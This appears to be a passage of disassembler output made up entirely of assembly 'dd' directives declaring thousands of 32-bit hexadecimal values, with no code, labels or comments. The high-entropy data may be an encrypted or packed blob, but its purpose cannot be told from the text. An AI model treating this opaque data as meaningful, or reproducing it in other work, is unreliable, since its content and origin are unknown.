		dd 41471374h, 2F1935CDh, 49161AB5h, 0CA8814AEh,	2E109908h
		dd 0AE0CB75h, 0F6986780h, 0CCB04ECh, 0C28002FEh, 5E82E14Ah
		dd 0D48D629Dh, 497DDC01h, 0CA88B5D1h, 5F5FA269h, 412B6E5Dh
		dd 1D17B04h, 883C0D3Bh,	79830FC2h, 829874E4h, 432BF14Eh
		dd 1D3224Fh, 94455706h,	107D09A5h, 62DE3E3h, 90B92F0h
		dd 2D03DC14h, 51D0A463h, 0F75322E8h, 29646EC9h,	2D3574C6h
		dd 59C10504h, 33470CEAh, 616FC64h, 25E786C8h, 4C73FCB5h
		dd 2B51FCFCh, 0F6E46BE8h, 4017D629h, 80098A06h,	0AAD90AF9h
		dd 0F360F014h, 88402C0Dh, 0A8B13C9h, 92A9581h, 0E4F6CA2Bh
		dd 8BCC7C60h, 783CA4F8h, 68FAB42Bh, 0A757450Eh,	8C7021F9h
		dd 0F4E64374h, 0F85C0173h, 0B7C1B64h, 83CA7D14h, 8A7210E8h
		dd 13EDBAA3h, 0E50C1D14h, 7408D790h, 56A5F09h, 75D1C058h
		dd 5908B44Ch, 89EB6CA3h, 6214DF80h, 0EB01DB96h,	0F44D8DC7h
		dd 25B6DC44h, 0B886542h, 44C2D2A2h, 94A7EBF8h, 4C9C4A2Dh
		dd 598148BEh, 6FB63DF6h, 1C854064h, 688E89FFh, 0CFCD26DFh
		dd 1C116CA1h, 6D3D8914h, 0A016EB14h, 2DB7F02Dh,	33174C90h
		dd 0B8848CD2h, 3B92E794h, 0EAC041A4h, 183D1242h, 0B0F497A5h
		dd 1D7213F9h, 77240AC7h, 4A16F7F9h, 0D5046AC3h,	0A35773B4h
		dd 3C85EC11h, 64722CF4h, 50CA1012h, 8B088826h, 6F450A76h
		dd 2158F1A5h, 0DAAB2DBBh, 0D6CA647Fh, 8D13FE13h, 15F74CEFh
		dd 0FB278317h, 60D04105h, 0F97670A5h, 49110D95h, 77F63311h
		dd 5FE8F38Bh, 5DD8128Bh, 970CAAB5h, 0E2DD60C2h,	6305DADh
		dd 0A7AB900Dh, 809415B1h, 56D1030Dh, 0F67DCA3Bh, 49341E8Dh
		dd 0B50AB12Bh, 0D427A520h, 0CC680CFh, 8BF7754Ah, 9C3548C4h
		dd 8E5C3D4Bh, 0DEB28ADh, 0EB838318h, 903D2970h,	20816413h
		dd 87913D5Dh, 4A828490h, 421E933Dh, 3D370885h, 882798Dh
		dd 8F3D2124h, 112086E4h, 4684923Dh, 538A220Ah, 6A1E89FFh
		dd 59D30508h, 0CF0B5D89h, 0FBB4EB5Eh, 3425518Dh, 0E4A4A342h
		dd 9EEA495h, 5C0BA2EEh,	5D5B1263h, 0ED40BBE2h, 15398898h
		dd 50561844h, 0A47406B8h, 0E4EC8BEEh, 8860C022h, 40373C6h
		dd 0F5751039h, 5E49D18Dh, 165008BBh, 13C1503Bh,	2CB1BC74h
		dd 0E805583Eh, 6FD535F1h, 5BACB3C3h, 22D2801Fh,	7AED2575h
		dd 0D510F21Ah, 114AD0C4h, 0D8C29E16h, 0FCA8461Eh, 0D2465DE6h
		dd 0D443E33h, 3C0A1003h, 0FE067620h, 4B77EC1Ah,	74DAD1FAh
		dd 0E9219204h, 0B92B56F5h, 315B4188h, 58B991E6h, 0B680B662h
		dd 50118C09h, 74C3073Ah, 403D3C12h, 0E8564701h,	0B1BA2E7Eh
		dd 6C077F95h, 4C7BEEBh,	81CB29BDh, 294EF3CBh, 0A24885Eh
		dd 0F6655C1Ah, 0E80903DBh, 5114AB04h, 2423D8Bh,	39741F38h
		dd 63C0E255h, 0C4D7608h, 3F804559h, 557F2294h, 3B6BBE62h
		dd 63D41C3h, 0AAD52F51h, 8987BA15h, 5088DE93h, 0FA04EE13h
		dd 70FD6103h, 0FA5DC975h, 42E88598h, 892F8B62h,	0C90C8E1Dh
		dd 88F38A1Eh, 3298B012h, 0BC6CBD5Bh, 9A88BE8Dh,	0ECBE0DFAh
		dd 68FF3B58h, 2A91A144h, 6C44A320h, 0A8FE4B8Bh,	35EC4FD1h
		dd 2758B74Bh, 954C7053h, 66CF0B5Fh, 88D98190h, 1A1ED542h
		dd 8A3E5ADFh, 33F441A2h, 3019A249h, 4A9E3165h, 0E8DAF186h
		dd 0EC365717h, 48641450h, 9D5054B6h, 0F50A319h,	95D96E5Bh
		dd 14950B2Ah, 218B86D7h, 951BB04Ah, 0B6A1BC56h,	0B0B8DABEh
		dd 37170996h, 692D967Eh, 9C20386Eh, 508A0F44h, 0FA294001h
		dd 0A329BF05h, 7BB57514h, 0F3EA403h, 1928501h, 88108A71h
		dd 5240FD16h, 0EB18D50Ch, 40DA9CEh, 284E1F6Fh, 0EB3AC541h
		dd 5124A43h, 400AB31Fh,	23DA8A3Fh, 18344C83h, 0CDA48CB7h
		dd 8B09F620h, 75EE12A6h, 3D0CC41h, 88BC9848h, 97FF664Bh
		dd 0D182F87h, 7E57C29Eh, 28A4D2Ch, 2886052Ch, 0F154BE03h
		dd 348AC818h, 558B12BDh, 63F0EE14h, 0A3D8A408h,	5C461786h
		dd 0ABCE1275h, 89932110h, 0F709552Ch, 0D4A9709h, 0F80D6E84h
		dd 8D221451h, 8B3C61E4h, 86EEBC2h, 0C130815h, 188D41EAh
		dd 0FBC2940Fh, 0EBD10C02h, 584BD38Bh, 430E29BCh, 6C60289h
		dd 0B28B465Ch, 811B8875h, 4A37A822h, 80B8083h, 3F448B7Dh
		dd 0ED3A535Dh, 2E657BFBh, 0E33C1953h, 2B209306h, 3C0F121Ch
		dd 2DDB0341h, 7FE9AA04h, 31A5C5F8h, 17F52037h, 9C80F10h
		dd 2B278303h, 0DFA9DD8Fh, 54DB29D5h, 0B7F008E2h, 0BC045312h
		dd 0EDEB3C2Dh, 0C9D241A8h, 0A969D2F6h, 0D50A9275h, 6539A5EEh
		dd 3144AD17h, 59302826h, 3A7D9D40h, 37F05796h, 2441C84h
		dd 9C8F4AE9h, 498A8120h, 40490C44h, 0BC25091h, 81E3966h
		dd 401CEC74h, 75181270h, 1307A4F9h, 0AFC62BF2h,	4CD11688h
		dd 40348FF8h, 85E8606h,	16A7F09Fh, 1D7FF34h, 74EB3B36h
		dd 0E1336132h, 2AAC1987h, 3A23190Bh, 78B57F55h,	444D69EFh
		dd 0E61BE70h, 1AE8101Bh, 89193F62h, 0AD8B145Ch,	44E68509h
		dd 0EBC39F20h, 0CC259553h, 86A6104Ch, 7485B243h, 8461873Ch
		dd 78C7BEC7h, 83F6F87Dh, 0F72BF605h, 0CE91D6CDh, 0D4CF4C24h
		dd 0EBFC40ABh, 4CBB0B58h, 7F1813F6h, 11EBB389h,	2511A87Ch
		dd 7EE6FDC6h, 0BCBD5B4Fh, 0AA44EC12h, 0D3F82F52h, 86E9E882h
		dd 26663BAAh, 0B81B9F33h, 1698A722h, 0C792229Ch, 2038C9F2h
		dd 0A6DC026Bh, 9D1D46Bh, 0E1DA801Ah, 46C6B780h,	0A10A0514h
		dd 8AA14B24h, 0EB1C81EAh, 0E2548DE2h, 6691D8FBh, 0CD48D9Fh
		dd 0B25AA2Fh, 56CA1AB1h, 0CB994C1h, 98D3016h, 0A36BB8DDh
		dd 1C0C967Ah, 0EE027C2Eh, 64355039h, 0BF521A7Dh, 90319B64h
		dd 1D11559h, 80588338h,	8D071589h, 0C1027F88h, 60801873h
		dd 40080824h, 0FC0F8B0Bh, 7DC195CEh, 0A1D6E426h, 0BB7C0B4Ah
		dd 0A22EA7Eh, 3B38334Dh, 34FFC7Eh, 8A360CD1h, 0D36A2971h
		dd 0A0A2E07h, 0A60B7508h, 0EA8D3093h, 92C7D143h, 0FAEF7DCFh
		dd 890B0CBDh, 7B886108h, 45470E48h, 3BA1C383h, 31BA7CFEh
		dd 3CED1851h, 8DFFD80Eh, 4D758134h, 120DB85h, 0B5815C04h
		dd 58F66A0Bh, 0C30967D4h, 39337148h, 34B3F532h,	0E7F9A946h
		dd 5717E815h, 0FD0CC967h, 3E890610h, 604D191h, 6AA84E80h
		dd 8ED20F25h, 8170A67h,	0C80DDBBFh, 0AFB8343h, 0FF9B7C03h
		dd 386E6CB9h, 84AA928Ah, 0BB44BEh, 324356C2h, 0CFE95830h
		dd 8847ACA4h, 0FCBDBC08h, 85FA5D2Dh, 7E40F72Fh,	0AE044991h
		dd 44E85682h, 0EFAC1088h, 444332BEh, 87B0273h, 616EE8F7h
		dd 9076F48Dh, 0B08F4F90h, 563E45E3h, 106B0655h,	321854FFh
		dd 0B855E5Dh, 78339981h, 534D823Ch, 648AFDE8h, 3D04662Bh
		dd 32211A56h, 6F08188Bh, 0BE90016Ah, 0E8358F79h, 1F1E23B5h
		dd 7F0CAC73h, 0A37BFA79h, 0D034B31Bh, 0D6B8A1EBh, 7B8DC7F1h
		dd 41155819h, 88FF6A5Dh, 668AF280h, 0F9BD2F5Dh,	0BE556441h
		dd 295EAD5Eh, 501C41C6h, 29187408h, 9425CDE8h, 0A11298C2h
		dd 50B8F288h, 12B20D9Eh, 3D2D2A79h, 0EF43C314h,	0FC682191h
		dd 31C57FA4h, 64F4A10Bh, 73B559A0h, 16D13984h, 0C67F29E6h
		dd 0CDA46F8Eh, 8F58AD1Eh, 29A8B827h, 0B658574h,	38D121BBh
		dd 56F111A6h, 0E605F46Ch, 14963B03h, 1C1C271Bh,	0AF6D2B01h
		dd 0E3C87DE6h, 5CFCEB0Dh, 8CFA8162h, 88F11876h,	5C4B858Dh
		dd 6AA39DFCh, 4B8FB384h
		dd 115EC9BEh, 0FE1B9418h, 81E3E801h, 446EF93Ah,	0E1FF5713h
		dd 0E80840BDh, 0AC682BEh, 14CC5940h, 1A29763Ch,	0A4AB5099h
		dd 0E211827h, 1B078317h, 0A61F036Ah, 0B5859068h, 9364F0D0h
		dd 0B9AAC425h, 56748A01h, 1109C5BEh, 90ABA8BEh,	70688A0Dh
		dd 7E7F911Eh, 0D4ACB62Ah, 24C81784h, 1068826Dh,	119B0120h
		dd 28A448DAh, 0B4B4BEB5h, 0EB5F2F2Ch, 0D5B913FEh, 53423F31h
		dd 0A61EE836h, 0FC13598Dh, 3DB19BF4h, 0E1FB35DBh, 14B33AE7h
		dd 1429F25Fh, 5A26D1E8h, 5EF5A550h, 9E4598F1h, 0C7A34FEEh
		dd 0D1C182Ah, 211B11EBh, 0A014F52Fh, 8FA41332h,	0F6148B6Bh
		dd 1898984h, 0E6270C71h, 95724B04h, 0BED2AA00h,	3C06D41Fh
		dd 3440C2Dh, 30448A3Eh,	0C3402204h, 1B86E7A1h, 0BA146A56h
		dd 7755E13h, 0B94C85E2h, 7DC63B0Bh, 0A3512DD0h,	0B4922E1Ah
		dd 59C0A77Eh, 3D09D7E9h, 114310EAh, 9856262Eh, 0E8291C20h
		dd 0EB1965h, 4AE81AB6h,	44A8AA2h, 158BF790h, 0A078719Dh
		dd 20C039A4h, 0B8F4DAEBh, 33EA7C40h, 48B928D2h,	4AC2721Dh
		dd 37078DF2h, 0F00E65F1h, 566F22C9h, 92B0FAFh, 42206238h
		dd 0A8F98118h, 6D47C55h, 44E8C35Eh, 8016B0ADh, 0C8B8743Dh
		dd 9EE90581h, 0D3507816h, 0BB93BBA8h, 65BE4684h, 4985EBFAh
		dd 48D323B1h, 77169D70h, 88350339h, 362F5808h, 5BC9D08Dh
		dd 0F85A1F65h, 4EC2A34Ah, 360C830Dh, 6B2B76DAh,	386CB155h
		dd 653323Bh, 0D161B71h,	3EEF69AEh, 43B03F9Ch, 3018F21Bh
		dd 0B092FCA1h, 0C33E019Dh, 0C2923E75h, 5E94E0E4h, 5DC9564Fh
		dd 282E4728h, 0A004C47Dh, 1CA11DFAh, 55323F56h,	102C0253h
		dd 82BDF632h, 0A358026Ah, 9C11448Bh, 1CD94324h,	0A1059514h
		dd 3FE393D6h, 423450CAh, 20739FE9h, 39099491h, 40F9185Dh
		dd 0D2388E48h, 2084642Dh, 18E240FCh, 0C4407F33h, 0EC6374AEh
		dd 3C8D124Fh, 0CC4E9DBCh, 80461988h, 16F7FC4Fh,	81B057DCh
		dd 13784309h, 8FE70BEBh, 0B5C5134Bh, 31BF2C8Fh,	56E09429h
		dd 3AA36049h, 25A7B656h, 35501432h, 52EEB208h, 658D13E2h
		dd 9501F7CCh, 91F84E29h, 0F6043331h, 25F123B9h,	25145201h
		dd 5390908Dh, 1C4A73C2h, 0D5EFCFC4h, 0EB3581D4h, 3E5A2CF1h
		dd 4A1E4C2Bh, 74ACE485h, 3FA754C9h, 20A99F47h, 5B44D909h
		dd 43EBC516h, 0E809B4A3h, 0A3667FB6h, 8D173347h, 4552B30Ch
		dd 92033155h, 0AACF14AFh, 3031122h, 0C1E8EBD6h,	0DFC4EFE7h
		dd 0FA1184FAh, 0B35626D8h, 73570526h, 0ED29BC52h, 8531E2FFh
		dd 0A0DD3684h, 7E17E26Bh, 8EE1E4Eh, 81C1001h, 531688EEh
		dd 19EBBF0Fh, 3D5F50Ah,	141F602h, 78B1024h, 301C2489h
		dd 0B35B1204h, 74A8F476h, 180DEE99h, 149C9755h,	7C93C42h
		dd 1328E271h, 3CE9374Ah, 8F393225h, 2BAC8C1Fh, 8349F4C8h
		dd 4E50089Ch, 0C1A19EB0h, 0EC300C83h, 0CB8DC033h, 73A21616h
		dd 0F69113CFh, 0EB73013Dh, 1073136Eh, 0EB93F5Fh, 0FC3D203Dh
		dd 8379C2D0h, 3FB91FE2h, 257401D1h, 5C993070h, 15C2D7FFh
		dd 0E5D71020h, 0BC12C4ABh, 0A4579101h, 1C2C52B2h, 8A00AFBBh
		dd 80C1F656h, 0DCFA574Bh, 7431E8A2h, 0C6EC0A09h, 9810FFFCh
		dd 65803B90h, 4769D70h,	0B30FB867h, 11C520BFh, 4063C5F6h
		dd 9D0539C0h, 56EB69D5h, 6A240AF5h, 5EC101BCh, 302BC623h
		dd 0FF952D94h, 0B815AEA4h, 1D89B182h, 0FDE97A42h, 0F48FDB0Ch
		dd 292523D4h, 401E0910h, 808B0751h, 0F8ED277Fh,	3A267433h
		dd 18A0200Ah, 0A41307Ah, 6BBC496h, 94EBF01Bh, 77D04575h
		dd 0FC0C27C8h, 8078EBC2h, 7E0BAF2h, 4408FA4h, 0BFCA2623h
		dd 7FC861CBh, 5AF07F35h, 0F42AE8CBh, 981DF0CFh,	0F852BAB2h
		dd 311C93Ch, 0FF6E22E8h, 0F87E02D9h, 21374853h,	2E1B0413h
		dd 29E6CFBEh, 57056447h, 11064D1Ah, 0EDBE42Bh, 303EE929h
		dd 78B0510h, 0C22563FBh, 4E72DFECh, 74C7850Fh, 3C0D8513h
		dd 75B9D457h, 0AD381424h, 0A8425BDEh, 81B58540h, 105352C9h
		dd 0C424FFF6h, 0B13FAACh, 840B0F7h, 5E6115AAh, 242AF30Ah
		dd 589F0C06h, 0BEFC6990h, 82CF63A5h, 4E62DFDDh,	1844F2B6h
		dd 6A3E2EEBh, 9F9CA0C0h, 5E4B4774h, 32F41601h, 0F72978E2h
		dd 561284C8h, 75E25AB4h, 45DC571Bh, 8838776Bh, 0B496EEA8h
		dd 8EFCC797h, 456ECD93h, 9660B9Ch, 0A7916E4Ah, 30DF3C08h
		dd 8A59F982h, 0F34FCE45h, 10CCB42h, 881677CCh, 7A690B45h
		dd 48F5F347h, 4093DFCh,	8EF77875h, 0F9F62ADAh, 6E8E021Dh
		dd 0DDD1936Ah, 25D6E41Ah, 0A730BE0Ch, 9D810E75h, 0DDF6EA13h
		dd 0EB4D740Ch, 0B5136E3Fh, 478A50Bh, 0FB525062h, 0EEEE77E1h
		dd 3DEC164Bh, 0CA8B1A20h, 0DBB42C3Bh, 12C983E9h, 22ABACFDh
		dd 50E356CAh, 1CE2753Ah, 3E0DA560h, 19810C2Eh, 78B70B68h
		dd 8F5C922h, 77E8FD8h, 207E4195h, 0FFE3347Eh, 0E2AB0B64h
		dd 2A55F17h, 0E89272B9h, 0F09F223Ah, 0D0F7A148h, 80F2367h
		dd 0FF0B145Ch, 0D7B5A770h, 0F31AA12Fh, 1412FBA5h, 87FD8BFh
		dd 0F7C62567h, 0D186EB3Bh, 3162B8E8h, 5BC35C71h, 55A6729Fh
		dd 5716F954h, 106A8403h, 4122458h, 0EF436BDh, 11B817E7h
		dd 20817910h, 740B0112h, 2D5D2E31h, 0B7037258h,	0D18B56CBh
		dd 329285BEh, 136664BFh, 32BDD623h, 0C65D1F75h,	0C814F05Bh
		dd 7BA0811h, 0B75D63Bh,	48C7C714h, 0BBC1C554h, 0A07ECC80h
		dd 0D4A05EBDh, 0F0A3CD3Bh, 9CB18D5Eh, 26E4D06h,	0C7F65D5Fh
		dd 5AAD5B10h, 28920A78h, 4AB77B56h, 8E8A167Dh, 1012F998h
		dd 20470104h, 488DEAF7h, 14CF4AA2h, 0CAC488BAh,	0D51D32BEh
		dd 6A82C31Ah, 0D664CE3Bh, 0F80D7532h, 73B7E30Ch, 6B86A40Ah
		dd 0C775A04h, 6D745F0Ch, 20514F0Ch, 0E950B2Bh, 5EC28522h
		dd 41835010h, 104B928Bh, 0C4FF3134h, 69E1EAB3h,	0F0F51FD9h
		dd 37101F9Fh, 717EA16h,	2183CA2Bh, 0F8E2D3FFh, 140785D2h
		dd 461C75B0h, 7D03FED0h, 0F7C5B811h, 969938E1h,	0EBC01C0Eh
		dd 0F27C2315h, 0DC5E25BCh, 0BB6BEBF2h, 26BA964Eh, 4D8B88B3h
		dd 780C52D4h, 6C1F2EB3h, 0D3A45559h, 12F878BFh,	0FAD5E837h
		dd 354E09C8h, 0FB391C78h, 1401559h, 0D7BE2F91h,	0B89417BEh
		dd 9E7265Fh, 9A67FBAFh,	43D5B50Ch, 59BA25B0h, 5F435BF4h
		dd 0C3CF0A01h, 65B4995Eh, 4734FAC8h, 4A5E1483h,	2F97B18Ah
		dd 11402712h, 8B5AF22Bh, 85BCA1CEh, 4F215E20h, 141DC843h
		dd 11D86FEBh, 0A591BD0Eh, 500F464Eh, 0B9D1FC74h, 2F2C41E6h
		dd 0FE2139C2h, 9962C1Eh, 3F7AC13Bh, 42C8FF81h, 0DA8B829Dh
		dd 4ED68150h, 8254DF7h,	546C5F93h, 1230BE38h, 41013489h
		dd 0F5754A06h, 0A5897B5Eh, 0CEB8CF55h, 7A89EE92h, 420D2648h
		dd 24F92341h, 0A454E9D3h, 0C222CF23h, 5B087D13h, 995409BEh
		dd 0C2D8A90Bh, 0CF040345h, 0C31C8AAh, 6BDDD8AAh, 2E80D419h
		dd 0F8DA2BE6h, 0A007F0D6h, 0ABCE23E4h, 0E8231BDBh, 20D63E0Bh
		dd 0CB1892EBh, 4E4412B1h, 0EED911BBh, 98DC7519h, 5BBF60F4h
		dd 8EAF7ECh, 79E05958h,	7C2A75B8h, 0EEFFC20Fh, 40BBD5Ch
		dd 0EB296110h, 83AF67BFh, 0D54B54C1h, 0E079F8E9h, 644C719Dh
		dd 18BCBB18h, 48EA0792h, 0C5D9F40Ah, 0FDFED430h, 6647E0Fh
		dd 20DF40Ch, 0B416C330h, 0C30D8110h, 0EBD9307Fh, 1E443FD9h
		dd 24E086AAh, 0C001FB13h, 0FC1752ADh, 0F47A8075h, 43B5F633h
		dd 31F2FCEFh, 6D49B35Eh, 0FEC52429h, 7DD05902h,	12C1E929h
		dd 93E36BAFh, 2A2D72B7h
		dd 45220877h, 7AB37A1Fh, 0A8430117h, 2BE640D2h,	4C4B4F58h
		dd 1D0C2AF1h, 159A944h,	0D83B3CEBh, 212B3F7Fh, 90D97A54h
		dd 66763191h, 52145613h, 0D4C44BAEh, 0C8618FDh,	5424A440h
		dd 0A2205994h, 0DC72FF98h, 2A1F3B3Bh, 56541728h, 0D2950C31h
		dd 6D108921h, 7B778B11h, 480346B4h, 0E91FA237h,	0D61FAA52h
		dd 0F7E70525h, 322017Fh, 3B49E8F3h, 50D249BCh, 38629EC1h
		dd 9442107Fh, 0F7177BDCh, 255513FFh, 0B30075Eh,	82DF29F1h
		dd 4340FF21h, 362E49EDh, 0E4DCF825h, 306FC839h,	7520240Ah
		dd 31FA8B05h, 682F6C46h, 0F4A30BC0h, 4D825133h,	2C23F39Fh
		dd 746C44D8h, 0FD2A2599h, 1D154AF8h, 0D5AC7C0Dh, 7D0E4127h
		dd 0C0B9092h, 24D11857h, 0E42DA7C9h, 87953C14h,	0EF23DCA5h
		dd 4AEB385Bh, 7E5480BDh, 60FC601h, 0EFDB8530h, 7D1F29C7h
		dd 99334707h, 0F4AD4354h, 51BE1D62h, 5A300141h,	0FF401088h
		dd 0E975EE41h, 35786FA7h, 127C50C7h, 0AA353973h, 1863550Dh
		dd 0F8DF17BDh, 0F5EB0E7Ch, 3E0C1FFEh, 3EFF1831h, 12020442h
		dd 74A6E857h, 789DA9FDh, 7CAD219Bh, 38BF1012h, 5955654h
		dd 9D6357A3h, 590F844Fh, 2371DF2h, 46B80868h, 11E42558h
		dd 0FC8B41C3h, 9A668BA5h, 0D4C87FE8h, 2FD930A3h, 8741187Ch
		dd 15BF0A05h, 5F0B28B3h, 1FEDBFEBh, 0B2C5A2Eh, 0DCD4A58h
		dd 5AF7090Ch, 41A6F739h, 3D5832A5h, 6420566h, 44AAFFBFh
		dd 0C825C893h, 0F198C1CFh, 24CF232Ch, 698E2EB7h, 0D9D08312h
		dd 80FB25BEh, 0CF75238Fh, 1291EC5Bh, 0BB81374h,	0E0B92850h
		dd 3A249F3Ch, 0DDE9C9BFh, 8E6F7C21h, 8BD38E12h,	0FF1F290Eh
		dd 0BC663D91h, 4BEB990Ch, 0B115014Eh, 968A31E6h, 80E15AEh
		dd 43C82D0Bh, 6107DDDAh, 0A9DDB9E2h, 0CECB04DFh, 8E9A1DBAh
		dd 0DA80C903h, 0B1FEBC1h, 0C8DD905h, 40068912h,	88E0C781h
		dd 4DEBCB91h, 0B1813DFh, 8489ACFh, 1253E6B7h, 0BC72E802h
		dd 0CB64E61h, 0B6065E74h, 9014213Fh, 0E941A70Eh, 4A8ACC6Bh
		dd 0A6EA38A1h, 0B14922Bh, 0B1576A40h, 1C3C09EFh, 1691641h
		dd 68E05E25h, 0E7279E68h, 1C298441h, 1F18A34Ah,	0F351AC3h
		dd 0C84E121Bh, 6D29C312h, 0A3182692h, 0F674643Ch, 1C1B38E1h
		dd 0BD118410h, 1429A038h, 0A6AE034h, 7EB55CE8h,	0B1617EEh
		dd 1D541394h, 0ED9F0347h, 0E76F208Fh, 0F1B44A12h, 39152574h
		dd 5B3939D6h, 56AFAB94h, 4E2AE979h, 0AA1820F0h,	391748AEh
		dd 0AC51BD1Dh, 4F531316h, 6607D5C1h, 381C196Fh,	58DA8501h
		dd 29BBE1EBh, 1CCC3B61h, 0D5A14A4Dh, 7E97F060h,	45392A00h
		dd 332F7C10h, 8AECBC9h,	5F7F0BFFh, 7A56A711h, 0A0D0DAA6h
		dd 60752D44h, 572559Dh,	17A5E38h, 66AD935Eh, 0FC4584B3h
		dd 1650D93Eh, 0AC3F8FDCh, 0A97913C2h, 0DBCA271Eh, 6A0E897Dh
		dd 3163B6DEh, 0B72C5E9Ch, 2DAF4BE8h, 81DC6F35h,	40F90C80h
		dd 200A1573h, 0A53D60EBh, 0E0D3C219h, 0D0BFD050h, 921FE19Eh
		dd 3F94FEE2h, 0B5FF0B3h, 0ACF65672h, 2011DCC9h,	0F085A9Ah
		dd 20F327Ch, 7E832E03h,	52FDEBDCh, 0C9EF5F1Ah, 463B0740h
		dd 9009F9FFh, 140F0428h, 0F6CD8940h, 1174D858h,	300EFF35h
		dd 0F351EB8h, 6688BF23h, 8811A0C3h, 7993DF18h, 0EF240489h
		dd 0AB4F3DDEh, 8D997FC3h, 0F8BC41E1h, 0B6432EB8h, 1407E80Bh
		dd 0E05FF21h, 0A451C316h, 0ED4A3311h, 0FC682AC1h, 0E874122Eh
		dd 402D1BC1h, 981DB031h, 0D4364A9h, 0B3E84288h,	0BC195D12h
		dd 7B0621F5h, 48682044h, 41583FCCh, 6BE3E11h, 260212D5h
		dd 150A142h, 6B0DC09Ch,	39663CC0h, 158E2D35h, 0A35A4701h
		dd 8D94A8F0h, 805F5215h, 0F66BF135h, 0C6033C15h, 0E2476414h
		dd 0A11B7443h, 3B3C0FF6h, 2B128DC5h, 0C43B50C1h, 0A340063Fh
		dd 0EB2811F8h, 10838A0Ch, 7E8A0C7Eh, 188B9366h,	5550E7B8h
		dd 0BF3F6A12h, 7C2A4EF3h, 6853199Dh, 7A57834Ch,	15D4F1E2h
		dd 586C391Ah, 3A1E505h,	3F60801Eh, 0B089229h, 41452015h
		dd 0D45ABE3Fh, 208FA03Ah, 13F20CBh, 74553E82h, 80A142B0h
		dd 2FE94298h, 0D11C1DD6h, 22264232h, 0B2B1F4A1h, 0E8653011h
		dd 9A6BEC27h, 61667740h, 0D1B96D0h, 2A7142E8h, 6FB1368Bh
		dd 83E9F593h, 9E8C3A70h, 1CA351C5h, 2830CD7Bh, 6E417EA6h
		dd 0B3E61B31h, 5E55F2C4h, 86A52114h, 5A03C683h,	0D9448E95h
		dd 0D17E2DDFh, 8C5F461Ch, 0CB6C4B94h, 0BA305CB3h, 0ABC96913h
		dd 9F89C8B0h, 85BD8864h, 0A2C42B46h, 77C42C1h, 0D7F39E0h
		dd 0EFEB4603h, 4E75F462h, 1D5C91F1h, 31214455h,	0C8032711h
		dd 2B0A2F59h, 2311F321h, 8DBEF22Ah, 0FD3BC328h,	0D9F7C414h
		dd 10BE9219h, 159AC45Ah, 0B94288F7h, 0E809432Bh, 0A611789Ch
		dd 12E38A27h, 356C8AB6h, 0C8A820C5h, 0F734BE96h, 370410EAh
		dd 225CB24Ah, 20EA914Ch, 0A45B4CD9h, 53B1409h, 15C35F92h
		dd 97981022h, 24DA9357h, 6428405Ah, 0B7865DCCh,	321BEE0Dh
		dd 0E02A6651h, 0EC1E2113h, 39EA1132h, 647508E8h, 4AE4151Dh
		dd 0E6141357h, 40E2C81Bh, 14EB5350h, 575314ACh,	0F74C6915h
		dd 10EC9C0h, 9A0560A0h,	322C7C8Ah, 50268CC5h, 8985325h
		dd 94909623h, 15287586h, 0A1579044h, 1B4C9213h,	40BF848Eh
		dd 0BF575397h, 2C050A53h, 1F6242EBh, 0C5209B57h, 0EB4F211Fh
		dd 6A0218DDh, 5308C902h, 9AE9E1F0h, 1B5F90FCh, 0B205A312h
		dd 7B44910Ah, 8B12580Ch, 0E468C15h, 0F60B9CA1h,	3B1C074Eh
		dd 401E7DD0h, 0BF8C0FCAh, 3C3E089Eh, 0B78F14C8h, 7ECA1B08h
		dd 1A7DE128h, 4C16272Ah, 0F6627C14h, 0BF27F24h,	112A3008h
		dd 26E14F95h, 0C4420425h, 6068504h, 6005E2EAh, 330F7538h
		dd 426C90C9h, 0C19D1390h, 0A1748DFCh, 9C08A00Fh, 55EF1AC9h
		dd 1443064h, 1565810h, 3F418938h, 391A04D6h, 3AC6583h
		dd 2D5126FEh, 86EA420Eh, 9EB0A2Eh, 76D4910Bh, 0C5BCD35Bh
		dd 6DD26908h, 0FF0CFEBCh, 30F8C157h, 76A1DF9h, 8489FE03h
		dd 1A40253Ah, 0F750995Fh, 1877458Bh, 1C553B04h,	7010E7Fh
		dd 0FB03C22Bh, 0FEC0FBD4h, 0AC0AEBF9h, 0C179900Eh, 750518EAh
		dd 0EAD6A38h, 0B68B0805h, 6610CA4h, 3B88D810h, 207E07CEh
		dd 0F507E983h, 0FD89531Bh, 14093CC0h, 0CD81850Ch, 7F011307h
		dd 40934D03h, 32AEE87Dh, 6224422Bh, 1B378BA7h, 28AA2E3Eh
		dd 150CA3B8h, 1298FD2Ch, 0F9A4A330h, 2B55EB2Ah,	6D09C42h
		dd 4862052Eh, 66017A2Bh, 3E050D79h, 492A34A8h, 11EB100Dh
		dd 0ABE96BAh, 15B70EF4h, 46421341h, 95D2295Ch, 0B8DA1CBAh
		dd 0A1F4AD5Fh, 0E42EB60Fh, 24C94C61h, 42627C84h, 1FF61C75h
		dd 0EB2842Fh, 45041AC0h, 1B2B962Ah, 0E8FC3E23h,	175C5A6h
		dd 0AA4824FFh, 0B8FC1921h, 759F420Ch, 74274A36h, 7F64DD67h
		dd 1C246816h, 0AF623EE1h, 0A2AA328h, 14685074h,	281C4F11h
		dd 5CA37008h, 0D99DCDB9h, 45A10F04h, 3245FB0Ch,	96ABD0FFh
		dd 0A129F206h, 50A1104h, 55271253h, 483BD4Ch, 4E152228h
		dd 4269FE95h, 0E657F8EBh, 0F081239h, 622E8AFh, 8957E0FEh
		dd 0BE774B16h, 0B27FAE69h, 5877125Ch, 1A989CEFh, 4BA4C79Ch
		dd 2E771D31h, 9F20CE78h, 92AD9BFh, 697E4C75h, 5D3E029Ah
		dd 129105F1h, 60AA39C5h, 6A563F21h, 1EF9085Fh, 7F2475F1h
		dd 1B2093B7h, 0DEC2E24Eh, 17D67885h, 0F88BEB19h, 27049388h
		dd 34BE62D8h, 0D9A4BE93h, 0ECEB2A56h, 82F54AB1h, 94850339h
		dd 5D98BE5Eh, 2F858744h
		dd 0C41D40F6h, 71E80D98h, 54D3B768h, 0BC47010Ah, 177C1405h
		dd 34C2245Fh, 5093E8B0h, 590D8806h, 0E1247E83h,	2D54A76Fh
		dd 966A7BBCh, 1015F2B8h, 0AB4A6A63h, 5333D4Bh, 32AB1D6Ch
		dd 0F71215D7h, 0F68742CFh, 194C844h, 9382E8FAh,	0E9C14684h
		dd 2C3AD2E2h, 30C80838h, 480244EBh, 2A225BCAh, 6F6995D6h
		dd 7EFC512Bh, 85226F6Fh, 9AD2FF8Dh, 0EB082894h,	0A0DC2761h
		dd 5AAA664Ch, 0EA32AE0Bh, 3B93980Ch, 6D7D58F8h,	2A50C714h
		dd 0F53EF79Dh, 745261DAh, 184A5008h, 3AFBD7EBh,	5EC2A724h
